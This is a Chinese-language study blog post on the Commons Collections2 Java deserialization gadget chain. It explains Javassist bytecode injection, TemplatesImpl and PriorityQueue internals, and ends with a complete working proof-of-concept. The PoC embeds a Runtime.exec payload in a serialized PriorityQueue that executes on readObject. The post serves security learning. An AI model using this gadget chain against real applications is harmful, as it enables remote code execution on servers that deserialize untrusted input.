Commons Collections2
2022-08-02 01:37:36

# 前言

这里需要掌握一点 Javassist 和类加载的基础
下面直接开始

# 利用链

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

学习过 cc1 的都知道,在 8u71 版本后该链子无法利用,因为对 AnnotationInvocationHandler 的序列化操作 readObject 进行了改写

cc2 也可以理解为 cc1 的延续,通过 javassistPriorityQueue 来进行构造

这边还是从一个简单的 demo 入手并熟悉一下用到的方法

# Javassist 操作字节码

首先要知道 Java 实际运行的代码是.class 的二进制文件,class 就是 java 文件编译来的,在已经编译好的类中可以修改原有属性或者自己重写方法

来看下面一段代码, maerClassInitializer 在类中生成静态方法,并插入一段我们自己编写的恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
public class cc2test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {
ClassPool pool = ClassPool.getDefault();//获取类搜索路径
CtClass clazz = pool.get(cc2test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertBefore(cmd);//在static前面插入
clazz.makeClassInitializer().insertAfter(cmd);//在static后面插入
String Name = "ki10MOc";
clazz.setName(Name);
clazz.writeFile("./evil.class");
}
}

这里会在当前目录下 evil.class 生成一个名为 ki10Moc 的 class 文件
在这里插入图片描述

1
2
3
4
5
6
7
8
class U extends ClassLoader{
U(ClassLoader c){//构造方法的ClassLoader类型参数
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);//加载字节码
}
}

并且将生成恶意 class 文件的代码修改为

1
2
final byte[] classBytes = clazz.toBytecode();//获取字节码
new U(cc2test.class.getClassLoader()).g(classBytes).newInstance();//加载字节码并创建对象

就成功弹出了计算器

在这里插入图片描述

# Templateslmpl

学习过的都知道这条链子可以执行字节码
其是在 TransletClassLoader 中的 defineClass

这里就是加载的参数,其中第二个就是我们可以构造的恶意字节码
在这里插入图片描述
在这里插入图片描述

但通过观察 defineClass 发现是一个保护类,那我们调用就需要找到一个公共类

Templateslmpl 下存在一处为生命的,也就是 default 类型的
在这里插入图片描述
调用的位置是当前文件下的 defineTransletClasses
也是一个保护类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

接着查找,发现在 getTransletInstance 存在一处实例化
在这里插入图片描述
最终在 newTransformer 找到公共类的方法
在这里插入图片描述
梳理一下链子

在这里插入图片描述

当然,这里我是正向寻找的
如果不好理解可以看下 Y4 师傅的解析

个人觉得非常简洁清晰

当然在寻找过程中我们会发现 getTransletInstance 中实例化的对象是 _class 而非我们上面提到的 _byte ,是因为在 defineTransletClasses 中将 _byte 二维数组存放在 _class 字段中了
在这里插入图片描述
当然这里知识为了理解梳理了一下流程,最好还是自己跟一下源码

# PriorityQueue

在 ysoserial 作者的调用栈中使用的是反序列化对象,或者说是入口是 PriorityQueue

简单了解下
PriorityQueue 优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出” 优先级 “,取出数据的时候会按照优先级来取。

默认优先级队列会根据自然顺序来对元素排序。

构造方法:

1
2
3
4
PriorityQueue()           
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

1
2
3
4
5
6
7
8
9
10
11
12
add(E e)           			将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null
poll() 获取并移除此队列的头,如果此队列为空,则返回 null
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

参考

来看下反序列化
在这里插入图片描述

调用了 heapify
在这里插入图片描述
是无符型右移位算,效果相当于除以 2。这里会把 i 和 queue [i] 传入
接着又调用了 siftDown

在这里插入图片描述
comparator 存在时,就会进入 siftDownUsingComparator

在这里插入图片描述
嘶,老实说跟进到这里我就卡了

后面的利用并没有找到
然后再回去看了下作者给的构造链发现 TransformingComparator.compare()

回到了 cc1 经典的 transform
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

/** Serialization version from Collections 4.0. */
private static final long serialVersionUID = 3456940356043606220L;

/** The decorated comparator. */
private final Comparator<O> decorated;
/** The transformer being used. */
private final Transformer<? super I, ? extends O> transformer;

//-----------------------------------------------------------------------
/**
* Constructs an instance with the given Transformer and a
* {@link ComparableComparator ComparableComparator}.
*
* @param transformer what will transform the arguments to <code>compare</code>
*/
@SuppressWarnings("unchecked")
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to <code>compare</code>
* @param decorated the decorated Comparator
*/
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

TransformingComparator 这里将 Transformer 的执行点和 PriorityQueue 出发点结合起来
值在传递到 Comparator 之前经过 Transformer 修饰

上面的 siftDownUsingComparator 方法会调用到 comparator 的 compare

那一切就都串起来了

# poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.test;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

byte[] bytes=payload.toBytecode();//转换为byte数组

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

poc 这里就不做分析了
主要是自己学了好一会才弄懂
并不能保证所有代码完全吃透
所以就不在各位师傅面前班门弄斧

# 流程图

最后的最后
自己也画一下找了好半天的链子的过程
可以更清晰的看到链子的过程

在这里插入图片描述

整体来说,感觉 cc2 不是很难 (感觉比 cc1 简单
可能是之前学过的基础在这里体现作用了
但还是有很多不足
加油吧
入门还有一大段距离呢